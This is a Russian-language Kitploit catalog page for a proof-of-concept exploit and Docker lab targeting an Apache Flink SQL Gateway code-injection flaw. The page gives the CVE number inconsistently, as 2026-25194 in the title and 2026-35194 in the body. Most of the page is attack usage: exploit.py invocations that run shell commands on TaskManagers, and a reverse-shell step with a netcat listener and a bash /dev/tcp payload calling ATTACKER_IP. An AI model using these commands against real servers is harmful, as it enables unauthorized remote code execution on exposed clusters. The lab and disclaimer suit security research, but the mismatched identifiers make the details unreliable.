Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-25194 — Proof-of-concept exploit and lab environment for CVE-2026-25194 | Kitploit
Инструменты/GitHubGitHub/dexsemon/cve-2026-25194
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubdexsemon/cve-2026-25194

CVE-2026-25194

Proof-of-concept exploit and lab environment for CVE-2026-25194

Репозиторий
1 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-35194 — Apache Flink SQL Code Injection

Удаленное выполнение кода на TaskManager'ах Apache Flink через инъекцию в генерацию SQL-кода.

CVECVE-2026-35194
CVSS8.1 (Высокий)
CWECWE-94 — Инъекция кода
Затронутые версииFlink 1.15.0 – 1.20.3 / 2.0.0 – 2.2.0
Исправлено в1.20.4 / 2.0.2 / 2.1.2 / 2.2.1
Вектор атакиREST API SQL Gateway (порт по умолчанию 8083, без аутентификации)

Быстрый старт

1. Развертывание уязвимой лабораторной среды

root@kitploit:~
docker compose up -d

Подождите ~30 секунд, пока кластер запустится. Будут запущены два сервиса:

  • Веб-интерфейс Flink — http://localhost:8081
  • REST API SQL Gateway — http://localhost:8083

Проверьте:

root@kitploit:~
curl -s http://localhost:8083/v1/info
# Должна вернуться версия "1.20.3"

2. Установка зависимостей

root@kitploit:~
pip install requests

3. Эксплуатация

JSON-вектор:

root@kitploit:~
python3 exploit.py localhost -p 8083 -v json -c "id > /tmp/pwned"

LIKE-вектор:

root@kitploit:~
python3 exploit.py localhost -p 8083 -v like -c "id > /tmp/pwned"

Только проверка версии (без RCE):

root@kitploit:~
python3 exploit.py localhost -p 8083 --check-only

Проверка выполнения команды на TaskManager:

root@kitploit:~
docker exec flink-taskmanager cat /tmp/pwned

4. Обратный шелл

root@kitploit:~
# Терминал 1 — слушатель
nc -lvnp 4444

# Терминал 2 — эксплойт
python3 exploit.py TARGET -p 8083 -v json \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

Использование

root@kitploit:~
usage: exploit.py [-h] [-p PORT] [-c COMMAND] [-v {json,like}]
                  [--check-only] [-t TIMEOUT] [--cert CERT] [--key KEY] [--ssl]
                  target

Options:
  target              Целевой хост (IP или имя хоста)
  -p, --port          Порт SQL Gateway (по умолчанию: 8083)
  -c, --command       Команда оболочки для выполнения на TaskManager
  -v, --vector        json (по умолчанию) или like
  --check-only        Только проверка версии, без эксплойта
  -t, --timeout       Таймаут запроса в секундах (по умолчанию: 30)
  --cert / --key      Клиентский сертификат + ключ для сред с mTLS
  --ssl               Принудительное использование HTTPS

Отказ от ответственности

Только для авторизованных исследований безопасности и образовательных целей.

Скачать инструмент